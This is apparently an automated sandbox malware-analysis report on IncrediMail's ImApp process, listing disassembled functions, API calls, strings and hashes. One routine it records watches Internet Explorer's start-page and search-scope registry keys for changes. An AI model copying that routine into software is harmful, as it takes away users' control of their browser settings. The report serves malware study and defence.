#1781.IMUTILSU(IncrediMail,ImApp Main Window,?,?,?,?,FC8A6036), ref: 00413F0D
#880.IMUTILSU(IncrediMail,ImApp Main Window,?,?,?,?,FC8A6036), ref: 00413F12
#1359.IMUTILSU(?,ImAppR.dll,00000001,IncrediMail,ImApp Main Window,?,?,?,?,FC8A6036), ref: 00413F23
#3391.MFC80U ref: 00413F35
#1569.IMUTILSU(00000000), ref: 00413F3E
#578.MFC80U(00000000), ref: 00413F4E
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00413F75
#762.MFC80U(00000320,?,?,00000000), ref: 00413F7F
#184.IMUTILSU(?), ref: 00413FDB
#881.IMUTILSU ref: 00413FE5
GetCurrentThreadId.KERNEL32 ref: 00413FEA
#390.IMUTILSU(MAIN_THREAD_ID,00000000), ref: 00413FF6
#1762.IMUTILSU(MAIN_THREAD_ID,00000000), ref: 00413FFD
#64.IMUTILSU ref: 00414011

Strings

ImApp Main Window, xrefs: 00413EF0, 00413FC2
IncrediMail, xrefs: 00413F01
ImAppR.dll, xrefs: 00413F1D
IncMail.exe, xrefs: 00413E7C
open, xrefs: 00413E9F
MAIN_THREAD_ID, xrefs: 00413FF1

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1359#3391#578$#1079#1192#1569#1762#1781#184#1890#390#5113#675#695#762#880#881CurrentExecuteGdiplusInitializeRegisterShellStartupThreadTree_
String ID: ImApp Main Window$ImAppR.dll$IncMail.exe$IncrediMail$MAIN_THREAD_ID$open
API String ID: 1819666290-2845272194
Opcode ID: 41b4b56edfdf33d75f6dbdb6860a416bc01d1b6ccef6ec223c39dbcdaf0baf93
Instruction ID: 0c14c475614c90fd07e7a2a024182b4ccaf97ec2cfcc900fc62dbcf4bc7fb078
Opcode Fuzzy Hash: 41b4b56edfdf33d75f6dbdb6860a416bc01d1b6ccef6ec223c39dbcdaf0baf93
Instruction Fuzzy Hash: FF519671708340ABC724EF659885BEFB7E9EF84704F400A2EF14597281DB7C998587AB

Function 020CC220 Relevance: 56.2, APIs: 23, Strings: 9, Instructions: 154COMMON

Download Yara Rule

APIs

#310.MFC80U(265105E4), ref: 020CC24F
#6735.MFC80U(?), ref: 020CC266
#6161.MFC80U ref: 020CC275
#578.MFC80U ref: 020CC288
#578.MFC80U ref: 020CC29A
#2311.MFC80U(?,SELECT DomainName FROM Domains WHERE IsApproved = 1 AND DomainName LIKE '%s%%',?), ref: 020CC2C6
#310.MFC80U ref: 020CC2FC
#2311.MFC80U(?, AND ProviderID != %d,000003E7), ref: 020CC317
#774.MFC80U(00000000), ref: 020CC33C
#578.MFC80U ref: 020CC34A
#899.MFC80U( ORDER BY SentMsgCounter DESC, DomainName COLLATE NOCASE ASC), ref: 020CC375
#310.MFC80U ref: 020CC383
#2311.MFC80U(?, LIMIT %d), ref: 020CC399
#896.MFC80U(?), ref: 020CC3A7
#578.MFC80U ref: 020CC3B5
#20.IMDBU ref: 020CC3BF
#12.IMDBU(?,?,00000001), ref: 020CC3DC
#16.IMDBU(?,?,00000001), ref: 020CC3FF
#578.MFC80U(?,?,00000001), ref: 020CC40D
#578.MFC80U ref: 020CC41C
#578.MFC80U ref: 020CC42E

Strings

SELECT DomainName FROM Domains WHERE IsApproved = 1, xrefs: 020CC2E6
LIMIT %d, xrefs: 020CC393
SELECT DomainName FROM Domains WHERE DomainName LIKE '%s%%', xrefs: 020CC2D1
SELECT DomainName FROM Domains WHERE IsApproved = 1 AND DomainName LIKE '%s%%', xrefs: 020CC2C0
ORDER BY Popularity DESC, DomainName COLLATE NOCASE ASC, xrefs: 020CC369
AND ProviderID != %d, xrefs: 020CC311
SELECT DomainName FROM Domains, xrefs: 020CC2ED
ORDER BY SentMsgCounter DESC, DomainName COLLATE NOCASE ASC, xrefs: 020CC370
ORDER BY DomainName COLLATE NOCASE ASC, xrefs: 020CC362

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#2311#310$#6161#6735#774#896#899
String ID: AND ProviderID != %d$ LIMIT %d$ ORDER BY DomainName COLLATE NOCASE ASC$ ORDER BY Popularity DESC, DomainName COLLATE NOCASE ASC$ ORDER BY SentMsgCounter DESC, DomainName COLLATE NOCASE ASC$SELECT DomainName FROM Domains$SELECT DomainName FROM Domains WHERE DomainName LIKE '%s%%'$SELECT DomainName FROM Domains WHERE IsApproved = 1$SELECT DomainName FROM Domains WHERE IsApproved = 1 AND DomainName LIKE '%s%%'
API String ID: 252673776-932750201
Opcode ID: a266dbb1f8fde3de5ffcc43e4ebe8cb2fe890e68dd2cdb111a00a95815aa0a2f
Instruction ID: e2ff8457dcebe3f7a0f7175ac06014486a58d8eb6920773cb276de1c9aca6eb1
Opcode Fuzzy Hash: a266dbb1f8fde3de5ffcc43e4ebe8cb2fe890e68dd2cdb111a00a95815aa0a2f
Instruction Fuzzy Hash: C8517B72588341CFE300CB24D898B9EBBE4BB95744F044D1EFAA697690DB35A508DF63

Function 00416100 Relevance: 56.1, APIs: 29, Strings: 3, Instructions: 125COMMON

Download Yara Rule

APIs

#310.MFC80U ref: 00416130
#1362.IMUTILSU(?,004265D0,00000000,00000000,00000001), ref: 0041614B
#556.MFC80U(?,?,?,FC8A6036), ref: 00416157
#3391.MFC80U(00008001,00000000), ref: 0041616C
#5091.MFC80U(00000000), ref: 00416177
#3391.MFC80U(00000000), ref: 00416188
#6306.MFC80U(00000000), ref: 00416193
#6306.MFC80U(004265CC,00000000), ref: 004161A1
#3391.MFC80U(004265CC,00000000), ref: 004161AA
#6306.MFC80U(00000000), ref: 004161B5
#6306.MFC80U(004265CC,00000000), ref: 004161C3
#3391.MFC80U(004265CC,00000000), ref: 004161CC
#6306.MFC80U(00000000), ref: 004161D7
#6306.MFC80U(004265CC,00000000), ref: 004161E5
#1443.MFC80U(004265CC,00000000), ref: 004161EE
#6735.MFC80U("/SetPath:,004265CC,00000000), ref: 004161FC

Part of subcall function 00415400: #6700.MFC80U(FC8A6036,?,?,?,?,?,004204DA,000000FF), ref: 00415434
Part of subcall function 00415400: #299.MFC80U(00000000,?,?,?,?,?,004204DA,000000FF), ref: 00415441
Part of subcall function 00415400: #6113.MFC80U(?,?,?,?,?,?,004204DA,000000FF), ref: 00415458
Part of subcall function 00415400: #2896.MFC80U(?,00000000), ref: 00415465
Part of subcall function 00415400: #3391.MFC80U(00000000), ref: 0041546E
Part of subcall function 00415400: #1479.MFC80U(?,00000000), ref: 00415476

#896.MFC80U(00000000), ref: 00416228
#578.MFC80U ref: 00416237
#1359.IMUTILSU(?,ImBpp.exe,00000001), ref: 00416249
#3391.MFC80U(00000000,0000000A), ref: 00416260
#3391.MFC80U(00000000), ref: 00416269
ShellExecuteW.SHELL32(00000000,open,00000000), ref: 00416277
#578.MFC80U ref: 00416286
#578.MFC80U ref: 00416295
#744.MFC80U(00000000), ref: 004162A4
#578.MFC80U(00000000), ref: 004162B2
#578.MFC80U ref: 004162C1
#578.MFC80U ref: 004162D0
#578.MFC80U ref: 004162E2

Strings

ImBpp.exe, xrefs: 00416243
"/SetPath:, xrefs: 004161F3
open, xrefs: 00416270

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #3391#578$#6306$#1359#1362#1443#1479#2896#299#310#5091#556#6113#6700#6735#744#896ExecuteShell
String ID: "/SetPath:$ImBpp.exe$open
API String ID: 560762126-988974431
Opcode ID: 6cc38b1cd589e19d16f55822ccba5de158d09482878bcc9a3a914924f843c99f
Instruction ID: aa91f0ba509252d4d7bbed9a58f29d6d62f576ea58558827fceb6aa8655decbf
Opcode Fuzzy Hash: 6cc38b1cd589e19d16f55822ccba5de158d09482878bcc9a3a914924f843c99f
Instruction Fuzzy Hash: D4512135118381ABC315EB20DD59F9ABBE4BFA4705F80092DF482921E1DBB49549CB9B

Function 004078B0 Relevance: 54.5, APIs: 25, Strings: 6, Instructions: 280registryCOMMON

Download Yara Rule

APIs

#32.IMUTILSU ref: 004078FE
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00407944
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040794E
RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Internet Explorer\Main,00000000,00020019,FC8A6036), ref: 00407977
RegCloseKey.ADVAPI32(?), ref: 00407992
RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Internet Explorer\SearchScopes,00000000,00020019,FC8A6036), ref: 004079C1
RegCloseKey.ADVAPI32(?), ref: 004079D6
RegNotifyChangeKeyValue.ADVAPI32(?,00000000,00000004,?,00000001), ref: 00407A52
RegNotifyChangeKeyValue.ADVAPI32(?,00000000,00000004,?,00000001), ref: 00407A63
WaitForMultipleObjects.KERNEL32(00000003,?,00000000,000000FF), ref: 00407A6F
CloseHandle.KERNEL32(?), ref: 00407AA0
#87.IMUTILSU(?,00000004,00000002,Function_00006DA0), ref: 00407AD7

Strings

Software\Microsoft\Internet Explorer\SearchScopes, xrefs: 004079B3
Flags, xrefs: 00407B8C
Start Page, xrefs: 00407A05, 00407BE5
SWBD, xrefs: 00407B87
DefaultScope, xrefs: 00407A29, 00407B0D
Software\Microsoft\Internet Explorer\Main, xrefs: 0040795B

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: Close$ChangeCreateEventNotifyOpenValue$HandleMultipleObjectsWait
String ID: DefaultScope$Flags$SWBD$Software\Microsoft\Internet Explorer\Main$Software\Microsoft\Internet Explorer\SearchScopes$Start Page
API String ID: 1740448707-728961472
Opcode ID: b9b6150a7ae14056240fb872f20ee56afef2693339272b9951c115ae36a78c66
Instruction ID: c0fee5c4b4a739ef2a21bd4039c43b75c18b65f0c4f096cc6fb4d834e3b0c722
Opcode Fuzzy Hash: b9b6150a7ae14056240fb872f20ee56afef2693339272b9951c115ae36a78c66
Instruction Fuzzy Hash: 55A174B1608341AFD324DF20CD85EABB7E8EF98718F80092EF145A7290D775A945CB5B

Function 0041A830 Relevance: 54.5, APIs: 25, Strings: 6, Instructions: 214windowkeyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000002), ref: 0041A86C
IsWindowVisible.USER32(?), ref: 0041A895
GetCursorPos.USER32(?), ref: 0041A8B1
#832.IMUTILSU ref: 0041A8FC
#2405.IMUTILSU ref: 0041A907
IsWindowVisible.USER32(?), ref: 0041A917
#202.IMUTILSU ref: 0041A93B
#832.IMUTILSU ref: 0041A947
#6735.MFC80U(00426D68), ref: 0041A965
#3391.MFC80U ref: 0041A971
#578.MFC80U ref: 0041A98B
#6735.MFC80U(BUC), ref: 0041A9B7
#3391.MFC80U ref: 0041A9C7
#578.MFC80U ref: 0041A9E1
#310.MFC80U ref: 0041A9F7
#2311.MFC80U(?,/c /auto:%s:%d,search_war,?), ref: 0041AA1A
#1359.IMUTILSU(?,IncMail.exe,00000001), ref: 0041AA2C
#3391.MFC80U(00000000,00000001), ref: 0041AA43
#3391.MFC80U(00000000), ref: 0041AA4C
ShellExecuteW.SHELL32(00000000,open,00000000), ref: 0041AA5A
#578.MFC80U ref: 0041AA68
#578.MFC80U ref: 0041AA7A
#6735.MFC80U(BTO), ref: 0041AA8E
#3391.MFC80U ref: 0041AA9E
#578.MFC80U ref: 0041AAB8

Strings

BTO, xrefs: 0041AA85
IncMail.exe, xrefs: 0041AA26
open, xrefs: 0041AA53
BUC, xrefs: 0041A9AA
/c /auto:%s:%d, xrefs: 0041AA14
search_war, xrefs: 0041AA0B

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #3391#578$#6735$#832VisibleWindow$#1359#202#2311#2405#310CursorExecuteShellState
String ID: /c /auto:%s:%d$BTO$BUC$IncMail.exe$open$search_war
API String ID: 2262079625-2067139085
Opcode ID: 3cf54b5988416cb56523b785fedd24a534af3768ae2bfd60098b27110bcbd4b5
Instruction ID: 3c7e09f8fade81007201ab0fa5bf7b1f5d41a238af5e887bbe1a9e673804f5f5
Opcode Fuzzy Hash: 3cf54b5988416cb56523b785fedd24a534af3768ae2bfd60098b27110bcbd4b5
Instruction Fuzzy Hash: 8771C571304741ABC714EF24D989BAFB7E5BF84714F800A2EF542822E1DB789986C75A

Function 020E6120 Relevance: 51.0, APIs: 27, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

#386.MFC80U(265105E4), ref: 020E615C
#2271.MFC80U(00000000,00000000,265105E4), ref: 020E6198
#310.MFC80U(00000000,00000000,265105E4), ref: 020E61A9

Part of subcall function 020E6440: #20.IMDBU(265105E4,?,?,?,?), ref: 020E6473
Part of subcall function 020E6440: #10.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?,265105E4,?,?,?,?), ref: 020E6496
Part of subcall function 020E6440: #12.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,?,00000000,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?,265105E4,?,?,?,?), ref: 020E64AC
Part of subcall function 020E6440: #19.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?,265105E4,?,?,?,?), ref: 020E64B5
Part of subcall function 020E6440: #310.MFC80U(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?,265105E4,?,?,?,?), ref: 020E64C6
Part of subcall function 020E6440: #25.IMDBU(FBPictureURL,?), ref: 020E64DF
Part of subcall function 020E6440: #1472.MFC80U(00000000,FBPictureURL,?), ref: 020E64F0
Part of subcall function 020E6440: #310.MFC80U ref: 020E64FE
Part of subcall function 020E6440: #25.IMDBU(GUID,?), ref: 020E6517
Part of subcall function 020E6440: #578.MFC80U(GUID,?), ref: 020E6529
Part of subcall function 020E6440: #18.IMDBU(FBPictureURL,?), ref: 020E6533
Part of subcall function 020E6440: #578.MFC80U(FBPictureURL,?), ref: 020E6540
Part of subcall function 020E6440: #19.IMDBU ref: 020E654A
Part of subcall function 020E6440: #16.IMDBU ref: 020E6596

#19.SFTTREE_IX86_U_60(?,00000000,?,?,00000000,00000000,00000000,?,?,?,?), ref: 020E61F1

Part of subcall function 020E5D10: #20.IMDBU(265105E4,00000000), ref: 020E5D3B
Part of subcall function 020E5D10: #10.IMDBU(SELECT * FROM Pictures WHERE (ID = :ID),020FA300,?), ref: 020E5D5C
Part of subcall function 020E5D10: #12.IMDBU(SELECT * FROM Pictures WHERE (ID = :ID),?,00000000,SELECT * FROM Pictures WHERE (ID = :ID),020FA300,?), ref: 020E5D73
Part of subcall function 020E5D10: #19.IMDBU(SELECT * FROM Pictures WHERE (ID = :ID),?,00000000,SELECT * FROM Pictures WHERE (ID = :ID),020FA300,?), ref: 020E5D80
Part of subcall function 020E5D10: #10.IMDBU(UPDATE Pictures SET NoPicture = :NoPicture WHERE ID = :ID,020FA300,?,SELECT * FROM Pictures WHERE (ID = :ID),?,00000000,SELECT * FROM Pictures WHERE (ID = :ID),020FA300,?), ref: 020E5D96
Part of subcall function 020E5D10: #9.IMDBU(UPDATE Pictures SET NoPicture = :NoPicture WHERE ID = :ID,NoPicture,?,UPDATE Pictures SET NoPicture = :NoPicture WHERE ID = :ID,020FA300,?,SELECT * FROM Pictures WHERE (ID = :ID),?,00000000,SELECT * FROM Pictures WHERE (ID = :ID),020FA300,?), ref: 020E5DB6
Part of subcall function 020E5D10: #8.IMDBU(INSERT INTO Pictures VALUES(:ID,:ChangePictureRemotely,:NoPicture),00000001,00000000,INSERT INTO Pictures VALUES(:ID,:ChangePictureRemotely,:NoPicture),NoPicture,?,INSERT INTO Pictures VALUES(:ID,:ChangePictureRemotely,:NoPicture),ChangePictureRemotely,00000001,INSERT INTO Pictures VALUES(:ID,:ChangePictureRemotely,:NoPicture),020FA300,?,SELECT * FROM Pictures WHERE (ID = :ID),020FA300,?), ref: 020E5E24
Part of subcall function 020E5D10: #16.IMDBU(INSERT INTO Pictures VALUES(:ID,:ChangePictureRemotely,:NoPicture),020FA300,?,SELECT * FROM Pictures WHERE (ID = :ID),020FA300,?), ref: 020E5E37

#774.MFC80U(?,?,00000000,?,?,00000000,00000000,00000000,?,?,?,?), ref: 020E61FE
#1490.IMUTILSU(?,?,?,?,?), ref: 020E6212
#679.IMUTILSU(020F1D24,00000000,00000015,020F1D14,?), ref: 020E623C
#280.MFC80U(?), ref: 020E625F
#1378.IMUTILSU(?,png), ref: 020E6274
SysFreeString.OLEAUT32(?), ref: 020E62CC
SysFreeString.OLEAUT32(?), ref: 020E62D8
#578.MFC80U ref: 020E62E7
#578.MFC80U(?), ref: 020E6411

Part of subcall function 020E5770: #20.IMDBU(265105E4), ref: 020E57A0
Part of subcall function 020E5770: #10.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E57BD
Part of subcall function 020E5770: #12.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,?,00000000,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E57D4
Part of subcall function 020E5770: #19.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E57DD
Part of subcall function 020E5770: #12.SFTTREE_IX86_U_60(?,?,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E57EE
Part of subcall function 020E5770: #11.SFTTREE_IX86_U_60(?,?,?,?,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E57FF
Part of subcall function 020E5770: #16.IMDBU(INSERT INTO RecentlyUsedPictures VALUES(:ID,:GUID,:Picture,:Time,:FBPictureURL),020FA300,?,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E594C

#578.MFC80U(?), ref: 020E63C9
#631.MFC80U ref: 020E63DB
#631.MFC80U ref: 020E6423

Strings

PictureCrop.gif, xrefs: 020E62B1
png, xrefs: 020E626E

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#310$#631FreeString$#1378#1472#1490#2271#280#386#679#774
String ID: PictureCrop.gif$png
API String ID: 963575399-1681222119
Opcode ID: bc69f938f523bc25c906581112242697e259467ba18b64acdddf473700bae58b
Instruction ID: d91cd0b269d47ae29ddf800bd94cfd45bfcb98e5ef44605f3e5159515c0efc7d
Opcode Fuzzy Hash: bc69f938f523bc25c906581112242697e259467ba18b64acdddf473700bae58b
Instruction Fuzzy Hash: 00919C716083819FD700DF24D884B9BBBEABF99304F00491CF99687390DB75E948DBA2

Function 020E5770 Relevance: 49.2, APIs: 21, Strings: 7, Instructions: 153COMMON

Download Yara Rule

APIs

#20.IMDBU(265105E4), ref: 020E57A0
#10.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E57BD
#12.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,?,00000000,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E57D4
#19.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E57DD
#12.SFTTREE_IX86_U_60(?,?,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E57EE
#11.SFTTREE_IX86_U_60(?,?,?,?,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E57FF
#35.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E580D
#310.MFC80U(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E581B
#25.IMDBU(GUID,?), ref: 020E5834
#10.IMDBU(DELETE FROM RecentlyUsedPictures WHERE ID = :ID AND GUID = :GUID,020FA300,?,GUID,?), ref: 020E584A
#10.IMDBU(DELETE FROM RecentlyUsedPictures WHERE ID = :ID AND GUID = :GUID,GUID,?,DELETE FROM RecentlyUsedPictures WHERE ID = :ID AND GUID = :GUID,020FA300,?,GUID,?), ref: 020E5864
#8.IMDBU(DELETE FROM RecentlyUsedPictures WHERE ID = :ID AND GUID = :GUID,00000001,00000000,DELETE FROM RecentlyUsedPictures WHERE ID = :ID AND GUID = :GUID,GUID,?,DELETE FROM RecentlyUsedPictures WHERE ID = :ID AND GUID = :GUID,020FA300,?,GUID,?), ref: 020E5878
#578.MFC80U(GUID,?), ref: 020E5886
#10.IMDBU(INSERT INTO RecentlyUsedPictures VALUES(:ID,:GUID,:Picture,:Time,:FBPictureURL),020FA300,?,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E5899
#10.IMDBU(INSERT INTO RecentlyUsedPictures VALUES(:ID,:GUID,:Picture,:Time,:FBPictureURL),GUID,?,INSERT INTO RecentlyUsedPictures VALUES(:ID,:GUID,:Picture,:Time,:FBPictureURL),020FA300,?,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E58B9
#32.IMDBU(INSERT INTO RecentlyUsedPictures VALUES(:ID,:GUID,:Picture,:Time,:FBPictureURL),Picture,?,?,INSERT INTO RecentlyUsedPictures VALUES(:ID,:GUID,:Picture,:Time,:FBPictureURL),GUID,?,INSERT INTO RecentlyUsedPictures VALUES(:ID,:GUID,:Picture,:Time,:FBPictureURL),020FA300,?,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E58DD
_time64.MSVCR80 ref: 020E58EA
#9.IMDBU(INSERT INTO RecentlyUsedPictures VALUES(:ID,:GUID,:Picture,:Time,:FBPictureURL),Time,00000000), ref: 020E5904
#10.IMDBU(INSERT INTO RecentlyUsedPictures VALUES(:ID,:GUID,:Picture,:Time,:FBPictureURL),FBPictureURL,?,INSERT INTO RecentlyUsedPictures VALUES(:ID,:GUID,:Picture,:Time,:FBPictureURL),Time,00000000), ref: 020E5923
#8.IMDBU(INSERT INTO RecentlyUsedPictures VALUES(:ID,:GUID,:Picture,:Time,:FBPictureURL),00000001,00000000,INSERT INTO RecentlyUsedPictures VALUES(:ID,:GUID,:Picture,:Time,:FBPictureURL),FBPictureURL,?,INSERT INTO RecentlyUsedPictures VALUES(:ID,:GUID,:Picture,:Time,:FBPictureURL),Time,00000000), ref: 020E5939
#16.IMDBU(INSERT INTO RecentlyUsedPictures VALUES(:ID,:GUID,:Picture,:Time,:FBPictureURL),020FA300,?,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E594C

Strings

DELETE FROM RecentlyUsedPictures WHERE ID = :ID AND GUID = :GUID, xrefs: 020E5843, 020E585D, 020E5871
INSERT INTO RecentlyUsedPictures VALUES(:ID,:GUID,:Picture,:Time,:FBPictureURL), xrefs: 020E5892, 020E58B2, 020E58D6, 020E58F9, 020E591C, 020E5932
SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc, xrefs: 020E57B6, 020E57CD
GUID, xrefs: 020E582B, 020E5858, 020E58AD
Time, xrefs: 020E58F4
Picture, xrefs: 020E58D1
FBPictureURL, xrefs: 020E5917

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #310#578_time64
String ID: DELETE FROM RecentlyUsedPictures WHERE ID = :ID AND GUID = :GUID$FBPictureURL$GUID$INSERT INTO RecentlyUsedPictures VALUES(:ID,:GUID,:Picture,:Time,:FBPictureURL)$Picture$SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc$Time
API String ID: 607318488-886754601
Opcode ID: b257165c3e252f450948f1883a35609ee2ea6f24d7b66473f669015cfca2f0e1
Instruction ID: 3fb8b218e063ae8283a53a4d15023ee4da589ad3455d06b206684c76d56a5a05
Opcode Fuzzy Hash: b257165c3e252f450948f1883a35609ee2ea6f24d7b66473f669015cfca2f0e1
Instruction Fuzzy Hash: 1041D3313847405FFA009634CC91F9FB7EAABC8B14F51081CBA579B690EF60E885AB52

Function 020C85D0 Relevance: 47.5, APIs: 23, Strings: 4, Instructions: 288COMMON

Download Yara Rule

APIs

#578.MFC80U ref: 020C8619
#19.IMDBU ref: 020C862F
#24.IMDBU(MemberType,?), ref: 020C8654
#24.IMDBU(MemberID,?,MemberType,?), ref: 020C866D
#310.MFC80U(MemberID,?,MemberType,?), ref: 020C867E
#25.IMDBU(MemberName,?), ref: 020C8694
#578.MFC80U(MemberName,?), ref: 020C86A6
#18.IMDBU(MemberType,?), ref: 020C8935
#19.IMDBU(MemberType,?), ref: 020C893C
#578.MFC80U ref: 020C8974

Strings

Email, xrefs: 020C86DF
MemberID, xrefs: 020C8666
MemberType, xrefs: 020C8645
MemberName, xrefs: 020C868D

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
